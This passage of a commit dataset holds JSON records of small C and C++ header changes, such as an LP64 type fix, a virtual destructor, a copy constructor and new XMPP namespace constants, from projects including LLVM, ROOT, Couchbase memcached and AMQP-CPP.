\n\/\/ This file declares the PowerPC\/Darwin specific subclass of TargetMachine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef POWERPC_DARWIN_TARGETMACHINE_H\n#define POWERPC_DARWIN_TARGETMACHINE_H\n\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetFrameInfo.h\"\n#include \"llvm\/PassManager.h\"\n#include \"PowerPCTargetMachine.h\"\n\nnamespace llvm {\n\nclass IntrinsicLowering;\n\nclass PPC32TargetMachine : public PowerPCTargetMachine {\npublic:\n  PPC32TargetMachine(const Module &M, IntrinsicLowering *IL);\n\n  \/\/\/ addPassesToEmitMachineCode - Add passes to the specified pass manager to\n  \/\/\/ get machine code emitted.  This uses a MachineCodeEmitter object to handle\n  \/\/\/ actually outputting the machine code and resolving things like the address\n  \/\/\/ of functions.  This method should returns true if machine code emission is\n  \/\/\/ not supported.\n  \/\/\/\n  virtual bool addPassesToEmitMachineCode(FunctionPassManager &PM,\n                                          MachineCodeEmitter &MCE);\n  \n  static unsigned getModuleMatchQuality(const Module &M);\n};\n\n} \/\/ end namespace llvm\n\n#endif\n","subject":"Remove an unneeded header and forward declaration","message":"Remove an unneeded header and forward declaration\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@15722 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap"}
{"commit":"27206db97255a92a96619810727c8bb03e7907e0","old_file":"Globals.h","new_file":"Globals.h","old_contents":"\/*\n  Mace - http:\/\/www.macehq.cx\n  Copyright 1999-2004\n  See the file README for more information\n*\/\n\n#ifndef GLOBALS_H\n#define GLOBALS_H\n\n#ifndef _MaceTypes\n#define _MaceTypes\ntypedef unsigned char U8;\ntypedef char S8;\ntypedef unsigned short U16;\ntypedef signed short S16;\n\n\/\/Note: on 64-bit machines, replace \"long\" with \"int\"\ntypedef unsigned long U32;\ntypedef signed long S32;\n#endif\n\nvoid App_Exit(void);\n \/\/Same as App_Exit2(), except that this calls setdis()\nvoid App_Exit2(void);\nU16 FlipW(U16 a);\nU32 FlipL(U32 a);\nvoid HexW (U16 n, char * String);\nvoid HexL (U32 n, char * String);\n\n#endif \/\/GLOBALS_H\n","new_contents":"\/*\n  Mace - http:\/\/www.macehq.cx\n  Copyright 1999-2004\n  See the file README for more information\n*\/\n\n#ifndef GLOBALS_H\n#define GLOBALS_H\n\n#ifndef _MaceTypes\n#define _MaceTypes\ntypedef unsigned char U8;\ntypedef signed char S8;\ntypedef unsigned short U16;\ntypedef signed short S16;\n\n\/\/Note: on 64-bit machines, replace \"long\" with \"int\"\n#if __LP64__\ntypedef unsigned int U32;\ntypedef signed int S32;\n#else\ntypedef unsigned long U32;\ntypedef signed long S32;\n#endif\n#endif\n\nvoid App_Exit(void);\n \/\/Same as App_Exit2(), except that this calls setdis()\nvoid App_Exit2(void);\nU16 FlipW(U16 a);\nU32 FlipL(U32 a);\nvoid HexW (U16 n, char * String);\nvoid HexL (U32 n, char * String);\n\n#endif \/\/GLOBALS_H\n","subject":"Fix U32 and S32 on LP64 architectures.","message":"Fix U32 and S32 on LP64 architectures.\n","lang":"C","license":"lgpl-2.1","repos":"MaddTheSane\/Mace,MaddTheSane\/Mace"}
{"commit":"3b78d640bae703c1c5c88c8e87f313d30f58249b","old_file":"tests\/regression\/31-ikind-aware-ints\/09-signed-negate.c","new_file":"tests\/regression\/31-ikind-aware-ints\/09-signed-negate.c","old_contents":"","new_contents":"\/\/PARAM: --disable ana.int.interval --enable ana.int.wrap_on_signed_overflow\n#include <assert.h>\n\nint main(){\n    int a = 0;\n\n    \/\/ maximum value for long long\n    signed long long s = 9223372036854775807;\n    assert(s > 9223372036854775806);\n\n    signed long long t = s + 2;\n    \/\/ Signed overflow - The following assertion only works with ana.int.wrap_on_signed_overflow enabled\n    assert(t == -9223372036854775807);\n\n    return 0;\n}\n","subject":"Add test for signed wrap-around with ana.int.wrap_on_signed_overflow","message":"Add test for signed wrap-around with ana.int.wrap_on_signed_overflow\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"219edae4202ef451a3d084a4678c0cf861ccff0a","old_file":"testsuite\/breakdancer\/disable_optimize.h","new_file":"testsuite\/breakdancer\/disable_optimize.h","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef DISABLE_OPTIMIZE_H\n#define DISABLE_OPTIMIZE_H 1\n\n\/* avoid wasting time trying to optimize those countless test functions *\/\n#if defined(__clang__)\n\n\n\/*\n * Works for Alk since clang-3.5.\n * Unfortunately it looks like Apple have their own versioning scheme for\n * clang, because mine (Trond) reports itself as 5.1 and does not have\n * the pragma.\n *\/\n\n#if ((__clang_major__ * 0x100 + __clang_minor) >= 0x305) && !defined(__APPLE__)\n#pragma clang optimize off\n#endif\n\n#elif defined(__GNUC__)\n\/*\n * gcc docs indicate that pragma optimize is supported since 4.4. Earlier\n * versions will emit harmless warning.\n *\/\n#if ((__GNUC__ * 0x100 + __GNUC_MINOR__) >= 0x0404)\n#pragma GCC optimize (\"O0\")\n#endif\n\n#endif \/* __GNUC__ *\/\n\n\n#endif\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef DISABLE_OPTIMIZE_H\n#define DISABLE_OPTIMIZE_H 1\n\n\/* According to MB-11846 we have some misconfigured vm's unable to\n * compile the source code without enabling optimization. Add a workaround\n * for those vm's until they're fixed\n *\/\n#ifndef COUCHBASE_OPTIMIZE_BREAKDANCER_TEST\n\n\/* avoid wasting time trying to optimize those countless test functions *\/\n#if defined(__clang__)\n\n\n\/*\n * Works for Alk since clang-3.5.\n * Unfortunately it looks like Apple have their own versioning scheme for\n * clang, because mine (Trond) reports itself as 5.1 and does not have\n * the pragma.\n *\/\n\n#if ((__clang_major__ * 0x100 + __clang_minor) >= 0x305) && !defined(__APPLE__)\n#pragma clang optimize off\n#endif\n\n#elif defined(__GNUC__)\n\/*\n * gcc docs indicate that pragma optimize is supported since 4.4. Earlier\n * versions will emit harmless warning.\n *\/\n#if ((__GNUC__ * 0x100 + __GNUC_MINOR__) >= 0x0404)\n#pragma GCC optimize (\"O0\")\n#endif\n\n#endif \/* __GNUC__ *\/\n\n#endif \/* COUCHBASE_OPTIMIZE_BREAKDANCER_TEST *\/\n\n#endif\n","subject":"Add workaround for broken builders","message":"MB-11846: Add workaround for broken builders\n\nAccording to MB-11846 we have some misconfigured vm's unable to\ncompile the source code without enabling optimization. This\npatch introduce a workaround to enable the optimization of the\nbreakdancer tests until the vm's is fixed. To use the workaround\ndefine COUCHBASE_OPTIMIZE_BREAKDANCER_TEST during compilation.\n\nAdd -D CMAKE_C_FLAGS=-DCOUCHBASE_OPTIMIZE_BREAKDANCER_TEST to\nthe command line when invoking cmake.\n\nChange-Id: I067548b39be9f52951afed0c30221e1d77926b93\nReviewed-on: http:\/\/review.couchbase.org\/40165\nReviewed-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\n","lang":"C","license":"bsd-3-clause","repos":"jimwwalker\/memcached,daverigby\/kv_engine,couchbase\/memcached,cloudrain21\/memcached-1,cloudrain21\/memcached-1,daverigby\/kv_engine,couchbase\/memcached,cloudrain21\/memcached-1,daverigby\/kv_engine,cloudrain21\/memcached-1,mrkwse\/memcached,daverigby\/memcached,daverigby\/memcached,owendCB\/memcached,owendCB\/memcached,daverigby\/memcached,jimwwalker\/memcached,owendCB\/memcached,daverigby\/kv_engine,couchbase\/memcached,mrkwse\/memcached,mrkwse\/memcached,couchbase\/memcached,owendCB\/memcached,jimwwalker\/memcached,mrkwse\/memcached,daverigby\/memcached"}
{"commit":"d8462d5c45ef1ae42d19bb0ade365b8017282228","old_file":"cpp\/module_impl.h","new_file":"cpp\/module_impl.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_CPP_MODULE_IMPL_H_\n#define PPAPI_CPP_MODULE_IMPL_H_\n\n#include \"ppapi\/cpp\/module.h\"\n\nnamespace {\n\ntemplate <typename T> class DeviceFuncs {\n public:\n  explicit DeviceFuncs(const char* ifname) : ifname_(ifname) {}\n\n  operator T const*() {\n    if (!funcs_) {\n      funcs_ = reinterpret_cast<T const*>(\n          pp::Module::Get()->GetBrowserInterface(ifname_));\n    }\n    return funcs_;\n  }\n\n  \/\/ This version doesn't check for existence of the function object. It is\n  \/\/ used so that, for DeviceFuncs f, the expression:\n  \/\/ if (f) f->doSomething();\n  \/\/ checks the existence only once.\n  T const* operator->() const { return funcs_; }\n\n private:\n  DeviceFuncs(const DeviceFuncs&other);\n  DeviceFuncs &operator=(const DeviceFuncs &other);\n\n  const char* ifname_;\n  T const* funcs_;\n};\n\n}  \/\/ namespace\n\n#endif  \/\/ PPAPI_CPP_MODULE_IMPL_H_\n\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_CPP_MODULE_IMPL_H_\n#define PPAPI_CPP_MODULE_IMPL_H_\n\n#include \"ppapi\/cpp\/module.h\"\n\nnamespace {\n\ntemplate <typename T> class DeviceFuncs {\n public:\n  explicit DeviceFuncs(const char* ifname) : ifname_(ifname), funcs_(NULL) {}\n\n  operator T const*() {\n    if (!funcs_) {\n      funcs_ = reinterpret_cast<T const*>(\n          pp::Module::Get()->GetBrowserInterface(ifname_));\n    }\n    return funcs_;\n  }\n\n  \/\/ This version doesn't check for existence of the function object. It is\n  \/\/ used so that, for DeviceFuncs f, the expression:\n  \/\/ if (f) f->doSomething();\n  \/\/ checks the existence only once.\n  T const* operator->() const { return funcs_; }\n\n private:\n  DeviceFuncs(const DeviceFuncs&other);\n  DeviceFuncs &operator=(const DeviceFuncs &other);\n\n  const char* ifname_;\n  T const* funcs_;\n};\n\n}  \/\/ namespace\n\n#endif  \/\/ PPAPI_CPP_MODULE_IMPL_H_\n\n","subject":"Initialize DeviceFuncs::ifuncs_ to zero in constructor","message":"Initialize DeviceFuncs::ifuncs_ to zero in constructor\n","lang":"C","license":"bsd-3-clause","repos":"humanai\/ppapi,LinRaise\/ppapi,Iwan12\/ppapi,lio972\/ppapi,macressler\/ppapi,iofcas\/ppapi,kaijajan\/ppapi,Iwan12\/ppapi,LinRaise\/ppapi,thecocce\/ppapi,jmnjmn\/ppapi,melchi45\/ppapi,johnnnylm\/ppapi,melchi45\/ppapi,johnnnylm\/ppapi,melchi45\/ppapi,Iwan12\/ppapi,macressler\/ppapi,Iwan12\/ppapi,johnnnylm\/ppapi,lio972\/ppapi,kaijajan\/ppapi,lio972\/ppapi,Iwan12\/ppapi,melchi45\/ppapi,macressler\/ppapi,johnnnylm\/ppapi,jmnjmn\/ppapi,jmnjmn\/ppapi,humanai\/ppapi,Gitzk\/ppapi,iofcas\/ppapi,Gitzk\/ppapi,lio972\/ppapi,lio972\/ppapi,thecocce\/ppapi,macressler\/ppapi,iofcas\/ppapi,humanai\/ppapi,humanai\/ppapi,thecocce\/ppapi,macressler\/ppapi,LinRaise\/ppapi,kaijajan\/ppapi,kaijajan\/ppapi,johnnnylm\/ppapi,thecocce\/ppapi,LinRaise\/ppapi,melchi45\/ppapi,Gitzk\/ppapi,jmnjmn\/ppapi,iofcas\/ppapi,thecocce\/ppapi,LinRaise\/ppapi,kaijajan\/ppapi,jmnjmn\/ppapi,iofcas\/ppapi,Gitzk\/ppapi,humanai\/ppapi,Gitzk\/ppapi"}
{"commit":"cfc80a8794b405ccc2127fe6fa52100fe5cfcdfd","old_file":"wocky\/wocky-namespaces.h","new_file":"wocky\/wocky-namespaces.h","old_contents":"\n#define WOCKY_XMPP_NS_STREAM \\\n  (const gchar *)\"http:\/\/etherx.jabber.org\/streams\"\n\n#define WOCKY_XMPP_NS_TLS \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-tls\"\n\n#define WOCKY_XMPP_NS_SASL_AUTH \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-sasl\"\n\n","new_contents":"\n#define WOCKY_XMPP_NS_STREAM \\\n  (const gchar *)\"http:\/\/etherx.jabber.org\/streams\"\n\n#define WOCKY_XMPP_NS_TLS \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-tls\"\n\n#define WOCKY_XMPP_NS_SASL_AUTH \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-sasl\"\n\n#define WOCKY_XMPP_NS_XHTML_IM \\\n  (const gchar *)\"http:\/\/jabber.org\/protocol\/xhtml-im\"\n\n#define WOCKY_W3C_NS_XHTML \\\n  (const gchar *)\"http:\/\/www.w3.org\/1999\/xhtml\"\n","subject":"Add xhtml-im and w3c xhtml namespace","message":"Add xhtml-im and w3c xhtml namespace\n\n20070316212630-93b9a-bcdbd042585561b0f20076b5e7f5f1c41c1e2867.gz\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/wocky,noonien-d\/wocky,freedesktop-unofficial-mirror\/wocky,freedesktop-unofficial-mirror\/wocky,noonien-d\/wocky,noonien-d\/wocky"}
{"commit":"e09a55881f98ea0796fe591e6e3f9b8ea0c791ac","old_file":"Sources\/Docs\/GPDocsSync.h","new_file":"Sources\/Docs\/GPDocsSync.h","old_contents":"\/\/\n\/\/ Copyright (c) 2008 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <GData\/GData.h>\n#import \"GPSyncProtocol.h\"\n\n\n\/\/ Source for documents, spreadsheets, and presentations in Google Docs.\n\/\/ Note: presentations currently won't have content data.\n@interface GPDocsSync : NSObject <GPSyncSource> {\n  id<GPSyncManager>              manager_;  \/\/ weak reference\n  GDataServiceGoogleDocs*        docService_;\n  GDataServiceGoogleSpreadsheet* spreadsheetService_;\n  NSMutableArray*                docsToInflate_;\n}\n\n@end\n","new_contents":"\/\/\n\/\/ Copyright (c) 2008 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <GData\/GData.h>\n#import \"GPSyncProtocol.h\"\n\n\n\/\/ Source for documents, spreadsheets, presentations, and PDFs in Google Docs.\n\/\/ Note: PDFs currently won't have content data.\n@interface GPDocsSync : NSObject <GPSyncSource> {\n  id<GPSyncManager>              manager_;  \/\/ weak reference\n  GDataServiceGoogleDocs*        docService_;\n  GDataServiceGoogleSpreadsheet* spreadsheetService_;\n  NSMutableArray*                docsToInflate_;\n}\n\n@end\n","subject":"Update header comment to reflect the current state of the source.","message":"Update header comment to reflect the current state of the source.\n\ngit-svn-id: c46e06cb57945f24bc44ee3ee8f795d5b6e634f5@64 c4e13eb7-e550-0410-89ee-d7df1d48aa01\n","lang":"C","license":"apache-2.0","repos":"nagyistoce\/precipitate,ericmckean\/precipitate"}
{"commit":"39ccb98b27cdb3a3e49af6866c781aa419ed55be","old_file":"test\/FrontendC\/2010-07-08-DeclDebugLineNo.c","new_file":"test\/FrontendC\/2010-07-08-DeclDebugLineNo.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S -O0 -g %s -o - | FileCheck %s\n\/\/ Insure that dbg.declare lines for locals refer to correct line number records.\n\/\/ Radar 8152866.\nvoid foo() {\n  int l = 0;    \/\/ line #4: CHECK: {{call.*llvm.dbg.declare.*%l.*\\!dbg }}[[variable_l:![0-9]+]]\n  int p = 0;    \/\/ line #5: CHECK: {{call.*llvm.dbg.declare.*%p.*\\!dbg }}[[variable_p:![0-9]+]]\n}\n\/\/ Now match the line number records:\n\/\/ CHECK: {{^}}[[variable_l]]{{ = metadata ![{]i32 5,}}\n\/\/ CHECK: {{^}}[[variable_p]]{{ = metadata ![{]i32 6,}}\n","subject":"Test case for r107843. Radar 8152866.","message":"Test case for r107843.  Radar 8152866.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@107907 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"42f61a65bf3d78263b54e74a70d52badbab53638","old_file":"include\/login.h","new_file":"include\/login.h","old_contents":"\/**\n *  The login information to access a server\n *\n *  This class combines login, password and vhost\n *\n *  @copyright 2014 Copernica BV\n *\/\n\n\/**\n *  Set up namespace\n *\/\nnamespace AMQP {\n\n\/**\n *  Class definition\n *\/\nclass Login\n{\nprivate:\n    \/**\n     *  The username\n     *  @var string\n     *\/\n    std::string _user;\n\n    \/**\n     *  The password\n     *  @var string\n     *\/\n    std::string _password;\n    \n    \n\npublic:\n    \/**\n     *  Constructor\n     *  @param  user\n     *  @param  password\n     *\/\n    Login(const std::string &user, const std::string &password) :\n        _user(user), _password(password) {}\n\n    \/**\n     *  Constructor\n     *\/\n    Login() :\n        _user(\"guest\"), _password(\"guest\") {}\n        \n    \/**\n     *  Destructor\n     *\/\n    virtual ~Login() {}\n    \n    \/**\n     *  String representation in SASL PLAIN mode\n     *  @return string\n     *\/\n    std::string saslPlain()\n    {\n        \/\/ we need an initial string\n        std::string result(\"\\0\", 1);\n        \n        \/\/ append other elements\n        return result.append(_user).append(\"\\0\",1).append(_password);\n    }\n};\n\n\/**\n *  End of namespace\n *\/\n}\n\n","new_contents":"\/**\n *  The login information to access a server\n *\n *  This class combines login, password and vhost\n *\n *  @copyright 2014 Copernica BV\n *\/\n\n\/**\n *  Set up namespace\n *\/\nnamespace AMQP {\n\n\/**\n *  Class definition\n *\/\nclass Login\n{\nprivate:\n    \/**\n     *  The username\n     *  @var string\n     *\/\n    std::string _user;\n\n    \/**\n     *  The password\n     *  @var string\n     *\/\n    std::string _password;\n    \n    \n\npublic:\n    \/**\n     *  Constructor\n     *  @param  user\n     *  @param  password\n     *\/\n    Login(const std::string &user, const std::string &password) :\n        _user(user), _password(password) {}\n\n    \/**\n     *  Copy constructor\n     *  @param  login\n     *\/\n    Login(const Login &login) :\n        _user(login._user), _password(login._password) {}\n\n    \/**\n     *  Constructor\n     *\/\n    Login() :\n        _user(\"guest\"), _password(\"guest\") {}\n        \n    \/**\n     *  Destructor\n     *\/\n    virtual ~Login() {}\n    \n    \/**\n     *  String representation in SASL PLAIN mode\n     *  @return string\n     *\/\n    std::string saslPlain()\n    {\n        \/\/ we need an initial string\n        std::string result(\"\\0\", 1);\n        \n        \/\/ append other elements\n        return result.append(_user).append(\"\\0\",1).append(_password);\n    }\n};\n\n\/**\n *  End of namespace\n *\/\n}\n\n","subject":"Copy constructor added to Login class","message":"Copy constructor added to Login class","lang":"C","license":"apache-2.0","repos":"fantastory\/AMQP-CPP,tangkingchun\/AMQP-CPP,antoniomonty\/AMQP-CPP,antoniomonty\/AMQP-CPP,toolking\/AMQP-CPP,fantastory\/AMQP-CPP,tm604\/AMQP-CPP,CopernicaMarketingSoftware\/AMQP-CPP,CopernicaMarketingSoftware\/AMQP-CPP,tangkingchun\/AMQP-CPP,tm604\/AMQP-CPP,toolking\/AMQP-CPP,Kojoley\/AMQP-CPP,Kojoley\/AMQP-CPP"}
{"commit":"6b272ab78968323483602717e140d60ad4ea93eb","old_file":"core\/base\/inc\/TVersionCheck.h","new_file":"core\/base\/inc\/TVersionCheck.h","old_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef R__CXXMODULES\n#ifndef ROOT_TObject\n#error \"Building with modules currently requires this file to be #included through TObject.h\"\n#endif\n#endif \/\/ R__CXXMODULES\n\n#include \"RVersion.h\"\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\n\/\/ FIXME: Due to a modules bug: https:\/\/llvm.org\/bugs\/show_bug.cgi?id=31056\n\/\/ our .o files get polluted with the gVersionCheck symbol despite it was not\n\/\/ visible in this TU.\n#ifndef R__CXXMODULES\n#ifndef __CINT__\nnamespace ROOT {\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n}\n#endif\n#endif\n\n#endif\n","new_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"RVersion.h\"\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\nnamespace ROOT {\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n}\n#endif\n","subject":"Remove special cxxmodules case now that gVersionCheck is on ROOT::.","message":"[core] Remove special cxxmodules case now that gVersionCheck is on ROOT::.\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,olifre\/root,root-mirror\/root,olifre\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,karies\/root,karies\/root,karies\/root,olifre\/root,karies\/root,karies\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,karies\/root,root-mirror\/root,olifre\/root,karies\/root,olifre\/root,root-mirror\/root,root-mirror\/root,olifre\/root,karies\/root,karies\/root,karies\/root,root-mirror\/root,karies\/root"}
{"commit":"78a22a1dd7608accc960623f8e59c997c75602ea","old_file":"RNUnifiedContacts\/RNUnifiedContacts-Bridging-Header.h","new_file":"RNUnifiedContacts\/RNUnifiedContacts-Bridging-Header.h","old_contents":"\/\/\n\/\/  RNUnifiedContacts.h\n\/\/  RNUnifiedContacts\n\/\/\n\/\/  Created by Joshua Pinter on 2016-03-23.\n\/\/  Copyright © 2016 Joshua Pinter. All rights reserved.\n\/\/\n\n#ifndef RNUnifiedContacts_Bridging_Header_h\n#define RNUnifiedContacts_Bridging_Header_h\n\n#import <React\/RCTBridgeModule.h>\n\n#endif \/* RNUnifiedContacts_Bridging_Header_h *\/\n\n\n\n\n\n\n","new_contents":"\/\/\n\/\/  RNUnifiedContacts.h\n\/\/  RNUnifiedContacts\n\/\/\n\/\/  Created by Joshua Pinter on 2016-03-23.\n\/\/  Copyright © 2016 Joshua Pinter. All rights reserved.\n\/\/\n\n#ifndef RNUnifiedContacts_Bridging_Header_h\n#define RNUnifiedContacts_Bridging_Header_h\n\n#if __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#else\n#import <React\/RCTBridgeModule.h>\n#endif\n\n#endif \/* RNUnifiedContacts_Bridging_Header_h *\/\n\n\n\n\n\n\n","subject":"Support Pre 0.40 and Post 0.40 React Native.","message":"Support Pre 0.40 and Post 0.40 React Native.\n\nHandle if else for importing `React\/RCTBridgeModule.h`.","lang":"C","license":"mit","repos":"joshuapinter\/react-native-unified-contacts,joshuapinter\/react-native-unified-contacts,joshuapinter\/react-native-unified-contacts,joshuapinter\/react-native-unified-contacts"}
{"commit":"e6f7f05225eab16f2a63fa32e5952f6c6adedc23","old_file":"You-DataStore\/operation.h","new_file":"You-DataStore\/operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_OPERATION_H_\n#define YOU_DATASTORE_OPERATION_H_\n\n#include <unordered_map>\n#include \"datastore.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\tIOperation() = default;\n\t~IOperation() = default;\n\n\t\/\/\/ Executes the operation\n\tvirtual void run(DataStore::STask) = 0;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_OPERATION_H_\n#define YOU_DATASTORE_OPERATION_H_\n\n#include <unordered_map>\n#include \"datastore.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\tIOperation();\n\tvirtual ~IOperation();\n\n\t\/\/\/ Executes the operation\n\tvirtual void run(DataStore::STask) = 0;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_OPERATION_H_\n","subject":"Make IOperation destructor virtual, remove redundant default","message":"Make IOperation destructor virtual, remove redundant 